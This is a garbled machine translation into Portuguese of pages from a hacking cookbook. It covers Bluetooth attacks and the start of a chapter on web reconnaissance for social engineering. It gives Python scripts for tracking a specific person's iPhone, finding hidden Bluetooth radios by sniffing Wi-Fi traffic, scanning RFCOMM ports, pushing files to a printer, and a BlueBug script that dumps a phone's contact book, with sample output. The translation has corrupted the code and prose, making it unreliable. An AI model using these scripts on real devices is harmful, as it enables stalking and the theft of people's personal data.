file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 134/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
findDevs ()
time.sleep (5)

Agora nós fi pode voltar­se nosso script Python e ver se podemos localizar qualquer Blue­ nas proximidades
dispositivos de dente. Observe que encontramos uma impressora e um iPhone. Os shows da impressão
seus nomes amigáveis ​ seguido por seus endereços MAC.

atacante # python btScan.py
[­] Verificação de Dispositivos Bluetooth.
[*] Encontrado dispositivo Bluetooth: Série Photosmart 8000
endereço [+] MAC: 00: 16: 38: DE: AD: 11
[­] Verificação de Dispositivos Bluetooth.
[­] Verificação de Dispositivos Bluetooth.
[*] Encontrado dispositivo Bluetooth: iPhone TJ
[+] MAC endereço: D0: 23: DB: DE: AD: 02

agora podemos escrever uma função simples para nos alertar quando estes dispositivos específicos são
dentro de nosso alcance. Observe que temos modi fi cou a nossa função original, adicionando
o parâmetro tgtName e pesquisando nossa lista de descoberta para esse endereço fi c específica.
tempo de importação
a partir do bluetooth import *
alreadyFound = []
findDevs def ():
foundDevs = discover_devices (lookup_names = true)
para (endereço, nome) em foundDevs:
Se não addr em alreadyFound:
print '[*] Encontrado dispositivo Bluetooth:' + str (nome)
print '[+] Endereço MAC:' + str (endereço)
alreadyFound.append (endereço)
while True:
findDevs ()
time.sleep (5)
Neste ponto, temos uma ferramenta como arma para nos alertar sempre que um especi fi c Blue­
dispositivo de dente, tal como um iPhone, entra no edifício.

Stalking com Bluetooth e Python 203

atacante # python btFind.py
[­] Verificação de Dispositivo Bluetooth: iPhone TJ
[*] IPhone TJ Dispositivo alvo Encontrado
[+] É: 2012­06­24 18: 05: 49,560055
[+] Com MAC Address: D0: 23: DB: DE: AD: 02
[+] O tempo é: 2012­06­24 18: 06: 05,829156

Interceptando sem fio Traf fi c encontrar Bluetooth
endereços
No entanto, isso só resolve metade do problema. Nosso script só fi dispositivos NDS com
seu modo Bluetooth definido para detectável. Dispositivos com um escondido modo de privacidade
esconder de inquire dispositivo. Então, como podemos achar­los? Vamos considerar um truque para
alvo de rádio Bluetooth do iPhone em modo oculto. Adicionando um ao MAC
endereço da Rádio 802.11 sem fio identifica o Radio MAC Bluetooth
endereço para o iPhone. Como o rádio sem fio 802.11 utiliza nenhuma camada­2 con­
controles para proteger o endereço MAC, podemos simplesmente cheirar para ele e, em seguida, usar esse
informação para calcular o endereço MAC do rádio Bluetooth.
Vamos configurar a nossa sniffer para o endereço MAC do rádio sem fio. Observe que nós
são fi ltragem apenas para endereços MAC que contêm um conjunto fi c especificidade de três bytes para
o primeiro três octetos do endereço MAC. A primeira três bytes servir como a Orga­
organizacio­ Único Identi fi er (OUI), que especi fi ca o fabricante do dispositivo.
Você pode continuar a investigar esta usando o banco de dados OUI em http://standards.ieee.
org / cgi­bin / ouisearch.Foresta especi fi c exemplo, que vai usar a OUI d0: 23: db
(A OUI para o produto Apple iPhone 4S). Se você pesquisar na base de dados OUI,
você pode con fi rmar que os dispositivos com esses 3 bytes pertencem a Apple.
D0­23­DB (hex) Apple, Inc.
D023DB (Base 16) Apple, Inc.
1 Infinite Loop
Cupertino CA 95014
ESTADOS UNIDOS

Nosso script Python escuta para um quadro 802.11 com um endereço MAC que corresponda
a primeira três bytes de um iPhone 4S. Se detectado, ele irá imprimir este resultado ao
tela e armazenar o endereço MAC 802.11.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 135/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
de scapy.all import *
def wifiPrint (PKT):
iPhone_OUI = 'd0: 23: db'
Se pkt.haslayer (Dot11):
wifiMAC = pkt.getlayer (Dot11) .addr2
Se iPhone_OUI == wifiMAC [: 8]:

204 CAPÍTULO 5: Mayhem sem fio com Python

print '[*] Detectado iPhone MAC:' + wifiMAC
conf.iface = 'mon0'
fungada (PRN = wifiPrint)
Agora que temos identificado o endereço MAC da Rádio sem fio 802.11
do iPhone, precisamos construir o endereço MAC do rádio Bluetooth.
Podemos calcular o endereço Bluetooth MAC incrementando a 802.11 Wi­
Fiaddress em 1.

def retBtAddr (endereço):
btAddr = str (hex (int (addr.replace ( ':', ''), 16) + 1)) [2]:
btAddr btAddr = [0: 2] + ":" + btAddr [2: 4] + ":" + btAddr [4: 6] + ":" + \
btAddr [6: 8] + ":" + btAddr [08:10] + ":" + btAddr [10:12]
voltar btAddr

Com este endereço MAC, um atacante pode realizar um inquérito nome do dispositivo para ver
Se o dispositivo realmente existe. Mesmo em oculto modo, o rádio Bluetooth
ainda responder a uma pergunta nome do dispositivo. Se o rádio Bluetooth responde, nós
pode imprimir o nome e endereço MAC para a tela. Há uma ressalva­o
produto iPhone utiliza um modo de economia de energia que desativa o rádio Bluetooth
quando não estiver emparelhado ou em uso com outro dispositivo. No entanto, quando o iPhone é
emparelhado com um áudio de fone de ouvido ou de mãos livres e no modo de privacidade escondido,
ainda vai responder a consultas nome do dispositivo. Se durante o teste, o script
não parece funcionar corretamente, tente emparelhar o iPhone com outro Blue­
dispositivo de dente.
def checkBluetooth (btAddr):
btName = lookup_name (btAddr)
se btName:
print 'Detectado [+] Dispositivo Bluetooth:' + btName
outro:
print '[­] não conseguiram detectar dispositivos Bluetooth.

Quando colocamos todo o nosso roteiro juntos, agora temos a capacidade de identificar uma
rádio Bluetooth escondido em um iPhone Apple.
de scapy.all import *
a partir do bluetooth import *
def retBtAddr (endereço):
btAddr = str (hex (int (addr.replace ( ':', ''), 16) + 1)) [2]:
btAddr btAddr = [0: 2] + ":" + btAddr [2: 4] + ":" + btAddr [4: 6] + ":" + \
btAddr [6: 8] + ":" + btAddr [08:10] + ":" + btAddr [10:12]
voltar btAddr

Stalking com Bluetooth e Python 205

def checkBluetooth (btAddr):
btName = lookup_name (btAddr)
se btName:
print 'Detectado [+] Dispositivo Bluetooth:' + btName
outro:
print '[­] não conseguiram detectar dispositivos Bluetooth.
def wifiPrint (PKT):
iPhone_OUI = 'd0: 23: db'
Se pkt.haslayer (Dot11):
wifiMAC = pkt.getlayer (Dot11) .addr2
Se iPhone_OUI == wifiMAC [: 8]:
print '[*] Detectado iPhone MAC:' + wifiMAC
btAddr = retBtAddr (wifiMAC)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 136/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
print '[+] Testing Bluetooth MAC:' + btAddr
checkBluetooth (btAddr)
conf.iface = 'mon0'
fungada (PRN = wifiPrint)

Quando começamos nosso script, podemos ver que ele identifica os endereços MAC de um
iPhone 802,11 rádio sem fio e seus endereços Bluetooth MAC. Na próxima
seção vamos cavar ainda mais fundo no dispositivo fazendo a varredura para obter informações
sobre as várias portas e protocolos Bluetooth.
atacante find­my­iphone.py # python
[*] Detectado iPhone MAC: d0: 23: db: de: ad: 01
[+] Testing Bluetooth MAC: d0: 23: db: de: ad: 02
[+] Detectado Bluetooth Dispositivo: iPhone do TJ

Digitalizar Canais Bluetooth RFCOMM
Na CeBIT em 2004, Herfurt e Laurie demonstrou uma vulnerabi­ Bluetooth
dade que eles apelidado BlueBug (Herfurt, 2004). Esta vulnerabilidade como alvo o
protocolo de transporte RFCOMM Bluetooth. RFCOMM emula serial RS232
portos sobre o protocolo Bluetooth L2CAP. Essencialmente, isso cria um Bluetooth
ligação a um dispositivo que simula um cabo em série simples, permitir a um utilizador inicial­
telefonemas ciar, enviar SMS, ler entradas da agenda, encaminhar chamadas ou conecte
à Internet através de Bluetooth.
Enquanto RFCOMM fornece a capacidade de autenticar e criptografar a con­
ligação, os fabricantes ocasionalmente omitir essa funcionalidade e permitir unau­
conexões com o dispositivo autenticados. Herfurt e Laurie escreveu uma ferramenta que
conecta aos canais não autenticadas dos comandos de dispositivo e emite

206 CAPÍTULO 5: Mayhem sem fio com Python

para controlar ou baixar o conteúdo do dispositivo. Na seção seguinte, nós
vai escrever um scanner para identificar os canais RFCOMM não autenticados.
Olhando para o código a seguir, as conexões RFCOMM aparecer muito semelhante ao
conexões de soquete TCP padrão. Para se conectar a uma porta RFCOMM, nós
criará aRFCOMM­typeBluetoothSocket. Em seguida, passamos a função connect ()
ção uma tupla contendo o endereço MAC e porta do nosso alvo. Se formos bem sucedidos,
saberemos que o canal RFCOMM aparece aberto e ouvir. Se o
função lança uma exceção, nós sabemos que não pode se conectar a essa porta. Nós
repetirá a tentativa de conexão para cada uma das 30 portas RFCOMM possíveis.
a partir do bluetooth import *
rfcommCon def (endereço, porta):
meia = BluetoothSocket (RFCOMM)
experimentar:
sock.connect ((endereço, porta))
print '[+] RFCOMM Porto' + str (porta) + 'aberta'
sock.close ()
salvo exceção, e:
print '[­] RFCOMM Porto' + str (porta) + 'fechado'
para a porta no intervalo (1, 30):
rfcommCon ('00: 16: 38: DE: AD: 11 ', porta)

Quando executamos nosso script contra uma impressora por perto, vemos cinco RFCOMM aberta
portos. No entanto, não temos nenhuma indicação real do que serviços essas portas pro­
vide. Para encontrar para fora mais sobre esses serviços, é preciso utilizar o Bluetooth
Discovery Service Pro fi le.
atacante rfcommScan.py # python
[+] RFCOMM porta 1 aberta
[+] RFCOMM Porta 2 aberta
[+] RFCOMM Porta 3 aberta
[+] RFCOMM Port 4 aberta
[+] RFCOMM Porto 5 aberta
[­] RFCOMM Porto 6 fechada
[­] RFCOMM Porta 7 fechada
<.. Cortou ...>

Usando o protocolo de serviço Bluetooth Descoberta
O Serviço Discovery Protocol Bluetooth (SDP) fornece um meio fácil de
descrever e enumerar os tipos de Bluetooth pro fi les e serviços oferecidos
por um dispositivo. Navegar na SDP pro fi le de um dispositivo descreve os serviços em execução

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 137/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

Stalking com Bluetooth e Python 207

em cada protocolo Bluetooth única e porto. Usando o nd_service função fi ()
retorna uma matriz de registros. Estes registros contêm o anfitrião, nome, descrição,
provedor, protocolo, porta, serviço de classe, pro fi les, e ID de serviço para cada disponíveis
serviço no alvo Bluetooth. Para os nossos propósitos, o nosso script imprime o ser­
vice­nome, protocolo e número de porta.
a partir do bluetooth import *
def sdpBrowse (endereço):
serviços = find_service (endereço = endereço)
para o serviço em serviços:
name = serviço [ 'name']
proto = serviço [ 'protocolo']
port = str (serviço [ 'porta'])
print '[+] Encontrado' + str (nome) + 'on' + \
str (proto) + ':' + port
sdpBrowse ('00: 16: 38: DE: AD: 11 ')

Quando executamos nosso script contra a nossa impressora Bluetooth, vemos que RFCOMM
porta 2 oferece OBEX Object Push pro fi le. O serviço (OBEX) objeto do Exchange
permite­nos uma capacidade semelhante ao FTP anônimo em que podemos empurrar e puxar
fi les anonimamente a partir de um sistema. Isso pode revelar algo digno de investi­
gating adicional na impressora.
atacante sdpScan.py # python
[+] Encontrado Porta Serial em RFCOMM: 1
[+] Encontrado OBEX Object Push sobre RFCOMM: 2
[+] Encontrado imagens básicas sobre RFCOMM: 3
[+] Encontrado Impressão básica na RFCOMM: 4
[+] Encontrado substituição Hardcopy Cable on L2CAP: 8193

Taking Over uma impressora com Python ObexFTP
Vamos continuar o nosso ataque contra a impressora. Pois oferece OBEX Object Push on
RFCOMM Porta 2, vamos tentar empurrá­lo uma imagem. Usaremos obexftp para conectar
para a impressora. Em seguida, iremos enviar­lhe uma imagem fi le de nossa estação de trabalho atacante
chamado /tmp/ninja.jpg. Quando a transferência fi le­sucedido, a nossa impressora começa Print­
ing uma bela imagem de um ninja para nós. Isso é emocionante, mas não necessariamente PERIGO
ous, por isso vamos continuar a utilizar esta metodologia na próxima seção para transportar
ataques mais letais contra os telefones que oferecem serviços Bluetooth.
obexftp importação
experimentar:
btPrinter = obexftp.client (obexftp.BLUETOOTH)

208 CAPÍTULO 5: Mayhem sem fio com Python

DAS TRINCHEIRAS
Paris HiltonNot Hacked By Bluetooth
Em 2005, Paris Hilton era uma celebridade realidade menos conhecido. No entanto, tudo isso mudou quando um
vídeo viral surgiu na Internet. Os tribunais posteriormente condenado a 17 anos de idade, Massachusetts
adolescente para cortar Sidekick da T­Mobile de Paris Hilton. Depois de ganhar o acesso, a 17­year old
roubou o conteúdo do livro de endereços, bloco de notas e fotos de Paris e publicou­os para o Inter­
net­história sabe o resto. O menor serviu 11 meses em um centro de detenção juvenil por sua
crimes (Krebs, 2005) .O ataque ocorreu apenas dois dias após o lançamento público do primeiro fi Blue­
verme dente, conhecido como Cabir.Quick para fornecer um relatório, várias agências de notícias falsamente relataram
que o ataque ocorreu durante uma vulnerabilidade Bluetooth no telefone de Paris. No entanto, o atacante
realmente usou um aw fl que lhe permitiu redefinir as senhas de telefone de Paris, a fim de ganhar
Acesso. Enquanto os relatórios provou ser falsa, eles fizeram trazer a atenção nacional para várias menor difusão
vulnerabilidades discutidas do protocolo Bluetooth.

btPrinter.connect ('00: 16: 38: DE: AD: 11 ', 2)
btPrinter.put_file ( '/ tmp / ninja.jpg')
print '[+] Impresso Ninja Imagem.
exceto:
print '[­] Falha ao imprimir Ninja Imagem.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 138/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Bluebugging um telefone com Python
Nesta seção, vamos replicar um vetor de ataque recente contra Bluetooth
telefones. Originalmente apelidado um ataque BlueBug, este ataque usa uma unauthenti­
cados e conexão não segura em um telefone para roubar os detalhes do telefone ou
emitir comandos diretamente para o telefone. Este ataque usa o canal RFCOMM
para emitir comandos AT como uma ferramenta para controlar remotamente o dispositivo. Isso permite que um
atacante para ler e escrever mensagens SMS, recolher informações pessoais, ou força
discar um número 1­900.
Por exemplo, um invasor pode controlar um telefone Nokia 6310i (até versão de firmware
versão 5.51) sobre o canal RFCOMM 17. Nas versões versão de firmware anterior
deste telefone, o canal RFCOMM 17 necessária a autenticação para um con­
ligação. Um invasor pode simplesmente procurar canais RFCOMM abertas, encontre o
aberto o canal RFCOMM 17 e, em seguida, conectar e emitir um comando AT para
despejar a agenda.
Vamos replicar este ataque em Python. Mais uma vez, teremos de importar o Python
ligações para a API Bluez. Depois de identificar o nosso endereço de destino e nerabilidade
port RFCOMM ble, criamos uma conexão com a aberta, não autenticado, e
porta não criptografada. Usando esta conexão recém­criado, nós emitir um comando
tais como "AT + CPBR = 1" para despejar o primeiro contacto na agenda. recorrente
este comando para valores subsequentes rouba toda a agenda.

Capítulo Wrap Up 209

Bluetooth importação
tgtPhone = 'AA: BB: CC: DD: EE: FF'
porto = 17
phoneSock = bluetooth.BluetoothSocket (bluetooth.RFCOMM)
phoneSock.connect ((tgtPhone, porta))
para contato no intervalo (1, 5):
atCmd = 'AT + CPBR =' + str (contato) + '\ n'
phoneSock.send (atCmd)
result = client_sock.recv (1024)
print '[+]' + str (contato) + ':' + resultar
sock.close ()
Correndo o nosso ataque contra um telefone vulneráveis, podemos despejar o primeiros cinco con­
contatos no telefone. Menos de quinze linhas de código e podemos remotamente roubar um
agenda através de Bluetooth. Excepcional!
atacante bluebug.py # python
[+] 1: + CPBR: 1, "555­1234" ,, "Joe Senz"
[+] 2: + CPBR: 2, "555­9999" ,, "Jason Brown"
[+] 3: + CPBR: 3, "555­7337" ,, "Glen Godwin"
[+] 4: + CPBR: 4, "555­1111" ,, "Semion Mogilevich"
[+] 5: + CPBR: 5, "555­8080" ,, "Robert Fisher"

CAPÍTULO WRAP UP
Parabéns! Temos escrito algumas ferramentas no capítulo que pudermos
usar para auditar nossas redes sem fio e dispositivos Bluetooth. Começámos por inter­
cepting redes sem fio para informações pessoais. Em seguida, examinamos como
para dissecar sem fio 802.11 tráfego fi c, a fim de descobrir redes preferidas e
acesso escondido fi nd pontos. Seguindo que pousou um aéreo não tripulado
veículo e construiu uma ferramenta para identificar conjuntos de ferramentas de hackers sem fio. Para o Bluetooth
protocolo, construímos uma ferramenta para localizar dispositivos Bluetooth, digitalizá­los, e explorar um
impressora e um telefone.
Com sorte, você apreciar esta capítulo. Eu gostei de escrever isso. Eu não posso dizer
o mesmo para minha esposa que teve de lidar com infinitas imagens de ninjas exibição
­se em sua impressora, sua bateria do iPhone misteriosamente drenagem, o acesso doméstico
apontar de repente tornar­se escondido, ou para o meu cinco anos filha ­ cuja brinquedo
UAV mantidos caindo do céu como pai re fi nida seu código. No próximo capítulo,
vamos examinar algumas maneiras para fazer reconhecimento de código aberto do social,
redes de mídia utilizando Python.

210 CAPÍTULO 5: Mayhem sem fio com Python

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 139/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

Referências
Adams, D. (1980). O Guia do Mochileiro das Galáxias (ed Perma­Bound.). New York: Ballantine
Livros.
Butler, E. (2010, 24 de outubro). Firesheep . Retirado de <http://codebutler.com/ fi resheep>.
Friedberg, S. (2010, 03 de junho). Fonte de análise de código de gstumbler. Retirado de <static.googleuser­
content.com/external_content/untrusted_dlcp/www.google.com/en/us/googleblogs/pdfs/
friedberg_sourcecode_analysis_060910.pdf>.
Albert Gonzalez v. Estados Unidos da América (2008, 05 de agosto) .USDC Distrito de Massachusetts08­
CR­10223.Retrievedfrom <www.justice.gov/usao/ma/news/IDTheft/Gonzalez,%20Albert%20
­% 20Indictment% 20080508.pdf>.
Herfurt, M. (2004, 01 de março). Bluesnar fi ng @ CeBIT 2004­Detecção e atacando Bluetooth
celulares ativados no recinto de Hannover. Retirado de <fi nite.org/Downloads/ tri
BlueSnarf_CeBIT2004.pdf>.
Krebs, B. (2005, 13 de novembro). Adolescente se declara culpado de hackear o telefone de Paris Hilton. O Washington
Pós . Obtido a partir <http://www.washingtonpost.com/wp­dyn/content/article/2005/09/13/
AR2005091301423.html>.
McCullagh, D. (2009, 17 de dezembro). EUA foi avisado de pirataria predador zangão. CBS Notícias .
Retirado de <http://www.cbsnews.com/8301­504383_162­5988978­504383.html>.
. Peretti, K. (2009) Dados viola: O que o metro mundo de cardação revela . Retirado de
<Www.justice.gov/criminal/cybercrime/DataBreachesArticle.pdf>.
Shane, S. (2009, 18 de Dezembro). De funcionários fi dizem que o Iraque fi ghters interceptado vídeo zangão. NYTimes.com .
Retirado de <http://www.nytimes.com/2009/12/18/world/middleeast/18drones.html>.
SkyGrabber. (2011). De cial fi local para programas SkyGrabber . Obtido em <http: //www.skygrabber.
com / en / index>.
Serviço Secreto dos EUA (2007, 13 de setembro). California homem preso no fio fraude, identidade roubo de cargas .
Press Release, Serviço Secreto dos EUA. Retirado de <www.secretservice.gov/press/GPA11­07_
PITIndictment.pdf>.
Zetter, K. (2009, 18 de junho). TJX hackers foi inundado de dinheiro; o codificador sem um tostão enfrenta prisão. Wired .
Retirado de <www.wired.com/threatlevel/2009/06/watt>.

CAPÍTULO 6

Recon web com Python

Informações neste capítulo: CONTEÚDO

■  anonimamente Navegar a Internet com o Mecanizar Classe Introdução:
■  espelhamento Site Elements em Python usando bonita Soup Engenharia social
Hoje ....................... 211
■  Interagindo com Google Usando Python Recon Antes de Ataque ..... 212
■  Interagindo com Twitter Usando Python
■  Automated Lança­Phishing
usando o
Biblioteca Mecanizar
para procurar a
Internet .................... 212
Anonimato ­ Adicionando
Proxies, user­agentes,
Durante meus oitenta e sete anos tenho testemunhado uma sucessão inteira de
Biscoitos ........................... 214
revoluções tecnológicas. Mas nenhum deles acabou com o A finalização Nossa
precisa para a personagem do indivíduo ou a capacidade de pensar. AnonBrowser numa
­Bernard M. Baruch, Conselheiro Presidencial para os dias 28 e 32ª Presidentes dos EUA
Python Classe .................. 217

raspagem web
páginas com
INTRODUÇÃO: engenharia social HOJE
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 140/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
AnonBrowser .......... 219
Analisar links HREF
Em 2010, dois ataques cibernéticos de grande escala mudou a natureza da forma como entendemos
com Beautiful Soup ....... 219
guerra cibernética hoje. Nós previamente discutido Operação Aurora no Capítulo 4.
Espelhamento de imagens com
Durante a Operação Aurora, hackers atacaram empresas multinacionais "incluin­ Bela sopa ................ 222
ing Yahoo, Symantec, Adobe, Northrop Grumman e Dow Chemical ", como Pesquisa,
bem como várias contas do Gmail (Cha & Nakashima, 2010, p. 2). O Washington Investigar,
Pós fui em para descrever este ataque como tendo "um novo nível de sofisticação" na
Descoberta ................. 223
o tempo de sua descoberta e investigação. Stuxnet, o segundo ataque, alvo Interagindo com o
Google API em Python .... 223
em sistemas SCADA, particularmente aqueles no Irão (AP, 2010). defensores de rede
Analisar tweets com
deve estar preocupado com os desenvolvimentos encontrados em Stuxnet, que foi Python ............................. 227
"Um (semi­) ataque mais maduro e tecnologicamente avançado alvo de Puxando Dados de localização
Aurora "(Matrosov, Rodionov, Harley & Malcho, 2010). Apesar de estes dois Fora de tweets ................ 229
ataques cibernéticos sendo muito sofisticado, ambos compartilhamos uma similaridade crítica
dade: eles se espalharam, pelo menos em parte, devido à engenharia social (Constantin, 2012). 211
Python violento. Http://dx.doi.org/10.1016/B978­1­59­749957­6.00006­5
Copyright © 2013 Elsevier Inc. Todos os direitos reservados.

212 CAPÍTULO 6: Recon web com Python

Interesses de análise de
Não importa como um ataque cibernético sofisticado ou mortal torna­se, a presença
Twitter Usando regular
Expressões .................... 231
engenharia social de eficaz será sempre aumentar a eficácia do ataque. Dentro
capítulo seguinte, examinaremos como podemos usar Python para automatizar uma
Anônimo ataque de engenharia social.
Email ........................ 236
Mass social
Antes de qualquer operação pode ser realizada, o invasor deve ter detalhado
Engenharia ............. 237conhecimento do alvo quanto mais informações que um invasor possui, o
Usando smtplib para maior a chance de que o ataque será bem sucedida. Este estende­se ao conceito
Metas e­mail ................. 237 mundo da guerra de informação também. Neste domínio, e na idade de hoje, a maioria
Spear phishing com
da informação necessária pode ser encontrado na internet. A probabilidade de um
Smtplib ............................ 239
importante peça de informação restante é alta, devido à grande escala do
Capítulo Encerramento .... 242 Internet. Para evitar esta perda de informação, um programa de computador pode ser usado
Referências ............... 242 para automatizar todo o processo. Python é uma excelente ferramenta para a automatização
tarefa, devido ao grande número de bibliotecas de terceiros que foram escritos
para permitir a fácil interação com sites e pela Internet.

Recon Antes de Ataque
Neste capítulo, vamos passar pelo processo de reconhecimento de executar
contra um alvo. Os aspectos mais importantes deste processo está garantindo que nós recolhemos
a quantidade máxima de informações possível, apesar de não ser detectado
pelo administrador de rede extremamente vigilante e capaz na empresa
quartel general. Finalmente, vamos ver como a recolha de dados permite uma grande
ataque de engenharia social sofisticada e personalizada contra esta entidade.
Certifique­se que antes de aplicar qualquer uma destas técnicas contra os outros, você consulte
com a aplicação da lei de funcionários fi ou aconselhamento jurídico. Temos representado esses ataques
aqui para mostrar os instrumentos utilizados em tais ataques, a fim de melhor compreender o seu
abordar e compreender como se defender contra eles em nossas próprias vidas.

Usando a biblioteca mecanizar para navegar na
INTERNET
usuários de computador típicos contar com um navegador da Web para exibir sites e navegar na
Internet. Cada local é diferente, e pode conter imagens, música e vídeo em um
ampla variedade de combinações. No entanto, um navegador realmente lê um tipo de texto
documento, interpreta e exibe­lo para um usuário, semelhante à interação
ção entre o texto de um programa Python fonte fi le e o interpretador Python.
Os usuários podem visualizar um site usando um navegador ou visualizando o código­fonte
através de uma série de métodos diferentes; o wget programa Linux é um popular
método. Em Python, a única maneira de navegar na Internet é para recuperar e analisar
código­fonte HTML de um site. Existem muitas bibliotecas diferentes já construídas
para a tarefa de lidar com o conteúdo da web. Nós particularmente gosto Mecanizar, que
você viu usado em A já alguns capítulos. Mecanizar fornece um terceiro

213
Usando a Biblioteca Mecanizar para navegar na Internet

biblioteca, disponível a partir de http://wwwsearch.sourceforge.net/mechanize/ (mos
nhecer, 2010). do Mecanizar principal classe, navegador, permite a manipulação de
qualquer coisa que possa ser manipulada dentro de um navegador. Esta classe principal também
tem outros métodos úteis para tornar a vida mais fácil para o programador. o acompanhamento
ing roteiro demonstra o uso mais básico de Mecanizar: recuperar um site da
Código fonte. Isso requer a criação de um objeto de navegador e, em seguida, chamar o open ()

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 141/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
método.
mecanizar importação
def ViewPage (url):
navegador = mechanize.Browser ()
page = browser.open (url)
source_code = page.read ()
source_code de impressão
ViewPage ( 'http://www.syngress.com/')

A execução do script, vemos ele imprime o código HTML para a página de índice para www.
syngress.com.
Recon: ~ # python viewPage.py
<! DOCTYPE html PUBLIC "­ // W3C // DTD XHTML 1.0 Transitional // EN"
"Http://www.w3.org/TR/xhtml1/DTD/xhtml1­transitional.dtd">
<html xmlns = "http://www.w3.org/1999/xhtml">
<Head>

<Title>
Syngress.com ­ Syngress é um premier editora de conteúdo
o campo da Segurança da Informação. Cobrimos forense digital, pirataria
e Pe

netration ensaio, certificação, Segurança de TI e Administração, e
Mais.
</ Title>
<meta name = "description" content = "" /> <meta name = "palavras­chave"
conteúdo = "" />
<.. Cortou ..>
Usaremos a classe mechanize.Browser para construir os scripts neste tulo
ter para navegar na Internet. Mas você não está limitado por isso, Python fornece
vários métodos diferentes para a navegação. Este capítulo utiliza Mecanizar devido à
a funcionalidade fi c específica que ela proporciona. John J. Lee concebido para Mecanizar
fornecer a programação stateful, fácil formulário HTML preenchendo, análise conveniente,
e manuseio de tais comandos como HTTP­equiv e refrescar. Além disso, oferece
um pouco de funcionalidade inerente a seu objeto é permanecer anônimo. este
tudo vai ser útil como você verá no capítulo seguinte.

214 CAPÍTULO 6: Recon web com Python

Anonimato ­ Adição de proxies, user­agents, Cookies
Agora que temos a capacidade de obter uma página web a partir da Internet, é
necessário dar um passo para trás e pensar através do processo. Nosso programa não é
diferente do que abrir um site em um navegador da web e, portanto, devemos tomar
os mesmos passos para estabelecer o anonimato que faria durante Web browser normal,
ing. Existem várias maneiras que os sites buscam identificar exclusivamente página web
visitantes. servidores Web regista o endereço IP de pedidos como a primeira forma de identificar
usuários. Isto pode ser mitigado por usando uma rede privada virtual (VPN) (a
servidor proxy que vai fazer pedidos em nome de um cliente) ou a rede Tor.
Uma vez que um cliente está conectado a uma VPN, no entanto, todas as rotas tráfego fi cos através do
VPN automaticamente. Python pode se conectar a servidores proxy, o que dá um programa
anonimato adicionado. A classe browser a partir Mecanizar tem um atributo para um pro­
grama para especificar um servidor proxy. Simplesmente ajuste de proxy do navegador não é bastante
astuto o suficiente. Há uma série de proxies gratuitos on­line, de modo que um usuário pode sair,
selecione alguns deles e passá­los em uma função. Para este exemplo, selecionamos
um proxy HTTP a partir http://www.hidemyass.com/. É altamente provável que este proxy é
deixou de trabalhar pelo tempo que você ler isto, então vá para www.hidemyass.com e
obter os detalhes para um proxy HTTP diferente para usar. Além disso, McCurdy tenção
tém uma lista de bons proxies em http://rmccurdy.com/scripts/proxy/good.txt. Nós
vai testar a nossa procuração contra uma página na National Oceanic and Atmospheric
Administration (NOAA) website, que gentilmente oferece uma interface web para lhe dizer
seu endereço IP atual ao visitar a página.
mecanizar importação
def testProxy (url, proxy):
navegador mechanize.Browser = ()
browser.set_proxies (proxy)
page = browser.open (url)
source_code page.read = ()
source_code de impressão
url = 'http://ip.nefsc.noaa.gov/'
hideMeProxy = { 'http': '216.155.139.115:3128'}
testProxy (url, hideMeProxy)
Embora um pouco a difícil discernir entre o código­fonte HTML, vemos
que o site acredita que o nosso endereço IP é 216.155.139.115, o endereço IP do

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 142/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
o proxy. Sucesso! Vamos continuar a construir isso.
Recon: ~ # python proxyTest.py
<Html> <head> <title> O que é meu endereço IP? </ Title> </ head>
<.. Cortou ..>
<B> O seu endereço de IP é ... </ b> </ font> <br> <font size = + 2 face = arial
color = red> 216.155.139.115 </ font> <br> <center> <font size = + 2

215
Usando a Biblioteca Mecanizar para navegar na Internet

face = arial cor = branco> <b> O seu nome de host parece ser ... </ b> </
font> <br> <font size = + 2 face = arial cor = red> 216.155.139.115.
choopa.net </ font> </ font> <font color = white
<.. Cortou ..>
Nosso navegador tem agora um nível de anonimato. Sites usam o agente de usuário
cadeia apresentada pelo navegador como outro método para identificar usuários.
No uso normal, uma string user­agent permite que o website sabe mação importante
